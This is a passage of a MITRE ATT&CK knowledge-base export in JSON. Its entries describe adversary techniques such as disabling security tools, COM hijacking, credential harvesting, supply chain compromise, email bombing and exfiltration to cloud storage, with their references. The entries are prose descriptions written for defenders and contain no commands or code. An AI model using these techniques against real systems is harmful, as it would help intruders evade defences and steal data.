                    "url": "https://cdn.logic-control.com/docs/scadafence/Anatomy-Of-A-Targeted-Ransomware-Attack-WP.pdf"
                }
            ],
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            "modified": "2026-05-12T15:12:00.712Z",
            "name": "Disable or Modify Tools",
            "description": "Adversaries may disable, degrade, or tamper with security tools or applications (e.g., endpoint detection and response (EDR) tools, intrusion detection systems (IDS), antivirus, logging agents, sensors, etc.) to impair or reduce visibility of defensive capabilities. This may include stopping specific services, killing processes, modifying or deleting tool configuration files and Registry keys, or preventing tools from updating. This may also include impairing defenses more broadly by disrupting preventative, detection, and response mechanisms across host, network, and cloud environments.(Citation: SCADAfence_ransomware) \n\nIn addition to directly targeting tools, adversaries may block or manipulate indicators and telemetry used for detection. This includes maliciously disabling or redirecting sensors such as Event Tracing for Windows (ETW), modifying event log configurations (e.g., redirecting Security logs), or interfering with logging pipelines and forwarding mechanisms (e.g., SIEM ingestion).(Citation: Microsoft Lamin Sept 2017)(Citation: ETW Palantir)\n\nMore advanced techniques include leveraging legitimate drivers or debugging mechanisms to render tools non-functional, bypassing anti-tampering protections, and targeting specific defenses such as Sysmon or cloud monitoring agents. Adversaries may also disrupt broader defensive operations, including update mechanisms, logging infrastructure (e.g., syslog), or event aggregation, further degrading an organization\u2019s ability to detect and respond to malicious activity.(Citation: Cocomazzi FIN7 Reboot)",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-impairment"
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            ],
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                "Cian Heasley",
                "Daniel Feichter, @VirtualAllocEx, Infosec Tirol",
                "Gal Singer, @galsinger29, Team Nautilus Aqua Security",
                "Gordon Long, LegioX/Zoom, asaurusrex",
                "Lucas Heiligenstein",
                "Menachem Goldstein",
                "Nathaniel Quist, Palo Alto Networks",
                "Nay Myo Hlaing (Ethan), DBS Bank",
                "Rob Smith",
                "Sarathkumar Rajendran, Microsoft Defender365",
                "Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Linux",
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            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3",
            "created": "2020-10-02T16:49:31.262Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1593/001",
                    "external_id": "T1593.001"
                },
                {
                    "source_name": "Cyware Social Media",
                    "description": "Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020.",
                    "url": "https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-10-24T17:49:18.054Z",
            "name": "Social Media",
            "description": "Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.\n\nAdversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim\u2019s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
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                    "phase_name": "reconnaissance"
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            ],
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--bbfbb096-6561-4d7d-aa2c-a5ee8e44c696",
            "created": "2024-07-01T20:06:13.664Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1213/004",
                    "external_id": "T1213.004"
                },
                {
                    "source_name": "Bleeping Computer Bank Hack 2020",
                    "description": "Ionut Ilascu. (2020, January 16). Customer-Owned Bank Informs 100k of Breach Exposing Account Balance, PII. Retrieved July 1, 2024.",
                    "url": "https://www.bleepingcomputer.com/news/security/customer-owned-bank-informs-100k-of-breach-exposing-account-balance-pii/"
                },
                {
                    "source_name": "Bleeping Computer Mint Mobile Hack 2021",
                    "description": "Lawrence Abrams. (2021, July 10). Mint Mobile hit by a data breach after numbers ported, data accessed. Retrieved July 1, 2024.",
                    "url": "https://www.bleepingcomputer.com/news/security/mint-mobile-hit-by-a-data-breach-after-numbers-ported-data-accessed/"
                },
                {
                    "source_name": "Bleeping Computer US Cellular Hack 2022",
                    "description": "Sergiu Gatlan. (2022, January 4). UScellular discloses data breach after billing system hack. Retrieved July 1, 2024.",
                    "url": "https://www.bleepingcomputer.com/news/security/uscellular-discloses-data-breach-after-billing-system-hack/"
                }
            ],
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            "modified": "2025-04-15T22:12:49.744Z",
            "name": "Customer Relationship Management Software",
            "description": "Adversaries may leverage Customer Relationship Management (CRM) software to mine valuable information. CRM software is used to assist organizations in tracking and managing customer interactions, as well as storing customer data.\n\nOnce adversaries gain access to a victim organization, they may mine CRM software for customer data. This may include personally identifiable information (PII) such as full names, emails, phone numbers, and addresses, as well as additional details such as purchase histories and IT support interactions. By collecting this data, an adversary may be able to send personalized [Phishing](https://attack.mitre.org/techniques/T1566) emails, engage in SIM swapping, or otherwise target the organization\u2019s customers in ways that enable financial gain or the compromise of additional organizations.(Citation: Bleeping Computer US Cellular Hack 2022)(Citation: Bleeping Computer Mint Mobile Hack 2021)(Citation: Bleeping Computer Bank Hack 2020)\n\nCRM software may be hosted on-premises or in the cloud. Information stored in these solutions may vary based on the specific instance or environment. Examples of CRM software include Microsoft Dynamics 365, Salesforce, Zoho, Zendesk, and HubSpot.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
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            ],
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae",
            "created": "2020-03-16T14:12:47.923Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546/015",
                    "external_id": "T1546.015"
                },
                {
                    "source_name": "Elastic COM Hijacking",
                    "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.",
                    "url": "https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com"
                },
                {
                    "source_name": "GDATA COM Hijacking",
                    "description": "G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.",
                    "url": "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence"
                },
                {
                    "source_name": "Microsoft Component Object Model",
                    "description": "Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.",
                    "url": "https://msdn.microsoft.com/library/ms694363.aspx"
                },
                {
                    "source_name": "RELIAQUEST",
                    "description": "RELIAQUEST THREAT RESEARCH TEAM. (2025, April 11). Threat Spotlight: Hijacked and Hidden: New Backdoor and Persistence Technique. Retrieved June 27, 2025.",
                    "url": "https://reliaquest.com/blog/threat-spotlight-hijacked-and-hidden-new-backdoor-and-persistence-technique/"
                }
            ],
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            "modified": "2025-10-24T17:49:18.160Z",
            "name": "Component Object Model Hijacking",
            "description": "Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model)  References to various COM objects are stored in the Registry. \n\nAdversaries may use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. \n\nOne variation of COM hijacking involves abusing Type Libraries (TypeLibs), which provide metadata about COM objects, such as their interfaces and methods. Adversaries may modify Registry keys associated with TypeLibs to redirect legitimate COM object functionality to malicious scripts or payloads. Unlike traditional COM hijacking, which commonly uses local DLLs, this variation may leverage the \"script:\" moniker to execute remote scripts hosted on external servers.(Citation: RELIAQUEST) This approach enables stealthy execution of code while maintaining persistence, as the remote payload would be automatically downloaded whenever the hijacked COM object is accessed.",
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            "x_mitre_domains": [
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161",
            "created": "2020-10-02T14:55:43.815Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1589/001",
                    "external_id": "T1589.001"
                },
                {
                    "source_name": "Bleeping Computer 2easy 2021",
                    "description": "Bill Toulas. (2021, December 21). 2easy now a significant dark web marketplace for stolen data. Retrieved October 7, 2024.",
                    "url": "https://www.bleepingcomputer.com/news/security/2easy-now-a-significant-dark-web-marketplace-for-stolen-data/"
                },
                {
                    "source_name": "ATT ScanBox",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
                },
                {
                    "source_name": "Detectify Slack Tokens",
                    "description": "Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved November 17, 2024.",
                    "url": "https://labs.detectify.com/writeups/slack-bot-token-leakage-exposing-business-critical-information/"
                },
                {
                    "source_name": "GitHub truffleHog",
                    "description": "Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.",
                    "url": "https://github.com/dxa4481/truffleHog"
                },
                {
                    "source_name": "Bleeping Computer Stealer Logs 2023",
                    "description": "Flare. (2023, June 6). Dissecting the Dark Web Supply Chain: Stealer Logs in Context. Retrieved October 10, 2024.",
                    "url": "https://www.bleepingcomputer.com/news/security/dissecting-the-dark-web-supply-chain-stealer-logs-in-context/"
                },
                {
                    "source_name": "Register Uber",
                    "description": "McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.",
                    "url": "https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/"
                },
                {
                    "source_name": "GitHub Gitrob",
                    "description": "Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.",
                    "url": "https://github.com/michenriksen/gitrob"
                },
                {
                    "source_name": "CNET Leaks",
                    "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.",
                    "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/"
                },
                {
                    "source_name": "Okta Scatter Swine 2022",
                    "description": "Okta. (2022, August 25). Detecting Scatter Swine: Insights into a Relentless Phishing Campaign. Retrieved February 24, 2023.",
                    "url": "https://sec.okta.com/scatterswine"
                },
                {
                    "source_name": "Forbes GitHub Creds",
                    "description": "Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.",
                    "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196"
                },
                {
                    "source_name": "SecureWorks Infostealers 2023",
                    "description": "SecureWorks Counter Threat Unit Research Team. (2023, May 16). The Growing Threat from Infostealers. Retrieved October 10, 2024.",
                    "url": "https://www.secureworks.com/research/the-growing-threat-from-infostealers"
                },
                {
                    "source_name": "Register Deloitte",
                    "description": "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.",
                    "url": "https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/"
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            "modified": "2025-10-24T17:49:18.246Z",
            "name": "Credentials",
            "description": "Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) (Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)\n\nCredential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware.(Citation: Bleeping Computer 2easy 2021)(Citation: SecureWorks Infostealers 2023)(Citation: Bleeping Computer Stealer Logs 2023)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ",
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            "created": "2020-03-11T14:17:21.153Z",
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                    "url": "https://attack.mitre.org/techniques/T1195/002",
                    "external_id": "T1195.002"
                },
                {
                    "source_name": "Avast CCleaner3 2018",
                    "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.",
                    "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities"
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                    "source_name": "Command Five SK 2011",
                    "description": "Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved November 17, 2024.",
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            "description": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011)  ",
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            "created": "2020-02-10T20:03:11.691Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1036/003",
                    "external_id": "T1036.003"
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                {
                    "source_name": "Elastic Masquerade Ball",
                    "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.",
                    "url": "https://www.elastic.co/blog/how-hunt-masquerade-ball"
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                {
                    "source_name": "F-Secure CozyDuke",
                    "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke"
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                {
                    "source_name": "LOLBAS Main Site",
                    "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.",
                    "url": "https://lolbas-project.github.io/"
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                {
                    "source_name": "Huntress Python Malware 2025",
                    "description": "Matthew Brennan. (2024, July 5). Snakes on a Domain: An Analysis of a Python Malware Loader. Retrieved April 3, 2025.",
                    "url": "https://www.huntress.com/blog/snakes-on-a-domain-an-analysis-of-a-python-malware-loader"
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                {
                    "source_name": "Splunk Detect Renamed PSExec",
                    "description": "Splunk. (2025, February 24). Detection: Detect Renamed PSExec. Retrieved April 3, 2025.",
                    "url": "https://research.splunk.com/endpoint/683e6196-b8e8-11eb-9a79-acde48001122/"
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                    "source_name": "The DFIR Report AutoHotKey 2023",
                    "description": "The DFIR Report. (2023, February 6). Collect, Exfiltrate, Sleep, Repeat. Retrieved April 3, 2025.",
                    "url": "https://thedfirreport.com/2023/02/06/collect-exfiltrate-sleep-repeat/"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1203",
                    "external_id": "T1203"
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            "modified": "2025-10-24T17:49:18.695Z",
            "name": "Exploitation for Client Execution",
            "description": "Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.",
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            "created": "2022-03-04T18:56:38.844Z",
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                    "url": "https://attack.mitre.org/techniques/T1595/003",
                    "external_id": "T1595.003"
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                {
                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf"
                },
                {
                    "source_name": "GCPBucketBrute",
                    "description": "Spencer Gietzen. (2019, February 26). Google Cloud Platform (GCP) Bucket Enumeration and Privilege Escalation. Retrieved March 4, 2022.",
                    "url": "https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/"
                },
                {
                    "source_name": "S3Recon GitHub",
                    "description": "Travis Clarke. (2020, March 21). S3Recon GitHub. Retrieved March 4, 2022.",
                    "url": "https://github.com/clarketm/s3recon"
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            "modified": "2025-10-24T17:49:18.777Z",
            "name": "Wordlist Scanning",
            "description": "Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).\n\nFor example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website\u2019s pages and directories.(Citation: ClearSky Lebanese Cedar Jan 2021) This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)).  \n\nAs cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation: S3Recon GitHub)(Citation: GCPBucketBrute) Once storage objects are discovered, adversaries may leverage [Data from Cloud Storage](https://attack.mitre.org/techniques/T1530) to access valuable information that can be exfiltrated or used to escalate privileges and move laterally. ",
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                    "url": "https://attack.mitre.org/techniques/T1667",
                    "external_id": "T1667"
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                {
                    "source_name": "krebs-email-bombing",
                    "description": "Brian Krebs. (2016, August 18). Massive Email Bombs Target .Gov Addresses. Retrieved January 31, 2025.",
                    "url": "https://krebsonsecurity.com/2016/08/massive-email-bombs-target-gov-addresses/"
                },
                {
                    "source_name": "sophos-bombing",
                    "description": "Mark Parsons, Colin Cowie, Daniel Souter, Hunter Neal, Anthony Bradshaw, Sean Gallagher. (2025, January 21). Sophos MDR tracks two ransomware campaigns using \u201cemail bombing,\u201d Microsoft Teams \u201cvishing\u201d. Retrieved January 31, 2025.",
                    "url": "https://news.sophos.com/en-us/2025/01/21/sophos-mdr-tracks-two-ransomware-campaigns-using-email-bombing-microsoft-teams-vishing/"
                },
                {
                    "source_name": "rapid7-email-bombing",
                    "description": "Tyler McGraw, Thomas Elkins, and Evan McCann. (2024, May 10). Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators. Retrieved January 31, 2025.",
                    "url": "https://www.rapid7.com/blog/post/2024/05/10/ongoing-social-engineering-campaign-linked-to-black-basta-ransomware-operators"
                },
                {
                    "source_name": "hhs-email-bombing",
                    "description": "U.S. Department of Health and Human Services. (2024, March 12). Defense and Mitigations from E-mail Bombing. Retrieved January 31, 2025.",
                    "url": "https://www.hhs.gov/sites/default/files/email-bombing-sector-alert-tlpclear.pdf"
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            "name": "Email Bombing",
            "description": "Adversaries may flood targeted email addresses with an overwhelming volume of messages. This may bury legitimate emails in a flood of spam and disrupt business operations.(Citation: sophos-bombing)(Citation: krebs-email-bombing)\n\nAn adversary may accomplish email bombing by leveraging an automated bot to register a targeted address for e-mail lists that do not validate new signups, such as online newsletters. The result can be a wave of thousands of e-mails that effectively overloads the victim\u2019s inbox.(Citation: krebs-email-bombing)(Citation: hhs-email-bombing)\n\nBy sending hundreds or thousands of e-mails in quick succession, adversaries may successfully divert attention away from and bury legitimate messages including security alerts, daily business processes like help desk tickets and client correspondence, or ongoing scams.(Citation: hhs-email-bombing) This behavior can also be used as a tool of harassment.(Citation: krebs-email-bombing)\n\nThis behavior may be a precursor for [Spearphishing Voice](https://attack.mitre.org/techniques/T1566/004). For example, an adversary may email bomb a target and then follow up with a phone call to fraudulently offer assistance. This social engineering may lead to the use of [Remote Access Software](https://attack.mitre.org/techniques/T1663) to steal credentials, deploy ransomware, conduct [Financial Theft](https://attack.mitre.org/techniques/T1657)(Citation: sophos-bombing), or engage in other malicious activity.(Citation: rapid7-email-bombing)\n",
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            "created": "2023-03-14T16:04:24.865Z",
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                    "external_id": "T1562.011"
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                {
                    "source_name": "BlackBasta",
                    "description": "Antonio Cocomazzi and Antonio Pirozzi. (2022, November 3). Black Basta Ransomware | Attacks Deploy Custom EDR Evasion Tools Tied to FIN7 Threat Actor. Retrieved March 14, 2023.",
                    "url": "https://www.sentinelone.com/labs/black-basta-ransomware-attacks-deploy-custom-edr-evasion-tools-tied-to-fin7-threat-actor/"
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            "name": "Spoof Security Alerting",
            "description": "Adversaries may spoof security alerting from tools, presenting false evidence to impair defenders\u2019 awareness of malicious activity.(Citation: BlackBasta) Messages produced by defensive tools contain information about potential security events as well as the functioning status of security software and the system. Security reporting messages are important for monitoring the normal operation of a system and identifying important events that can signal a security incident.\n\nRather than or in addition to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), an adversary can spoof positive affirmations that security tools are continuing to function even after legitimate security tools have been disabled (e.g., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)). An adversary can also present a \u201chealthy\u201d system status even after infection. This can be abused to enable further malicious activity by delaying defender responses.\n\nFor example, adversaries may show a fake Windows Security GUI and tray icon with a \u201chealthy\u201d system status after Windows Defender and other system tools have been disabled.(Citation: BlackBasta)",
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        {
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            "id": "attack-pattern--bf147104-abf9-4221-95d1-e81585859441",
            "created": "2019-11-07T20:09:56.536Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1137/004",
                    "external_id": "T1137.004"
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                {
                    "source_name": "Microsoft Detect Outlook Forms",
                    "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.",
                    "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"
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                {
                    "source_name": "SensePost NotRuler",
                    "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.",
                    "url": "https://github.com/sensepost/notruler"
                },
                {
                    "source_name": "SensePost Outlook Home Page",
                    "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019.",
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            "description": "Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)\n\nOnce malicious home pages have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)\n",
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            "created": "2020-03-16T15:48:33.882Z",
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                    "url": "https://attack.mitre.org/techniques/T1573/002",
                    "external_id": "T1573.002"
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                {
                    "source_name": "SANS Decrypting SSL",
                    "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.",
                    "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840"
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                {
                    "source_name": "SEI SSL Inspection Risks",
                    "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.",
                    "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html"
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "created": "2020-03-09T15:04:32.767Z",
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            "description": "Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.\n\nExamples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service. ",
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            "created": "2020-03-11T21:01:00.959Z",
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                    "url": "https://attack.mitre.org/techniques/T1570",
                    "external_id": "T1570"
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                {
                    "source_name": "Dropbox Malware Sync",
                    "description": "David Talbot. (2013, August 21). Dropbox and Similar Services Can Sync Malware. Retrieved May 31, 2023.",
                    "url": "https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/"
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                {
                    "source_name": "Unit42 LockerGoga 2019",
                    "description": "Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/"
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            "name": "Lateral Tool Transfer",
            "description": "Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation.\n\nAdversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019)\n\nFiles can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095). In some cases, adversaries may be able to leverage [Web Service](https://attack.mitre.org/techniques/T1102)s such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.(Citation: Dropbox Malware Sync)",
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                    "phase_name": "lateral-movement"
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "created": "2020-03-13T13:51:58.519Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1574/009",
                    "external_id": "T1574.009"
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                {
                    "source_name": "Windows Privilege Escalation Guide",
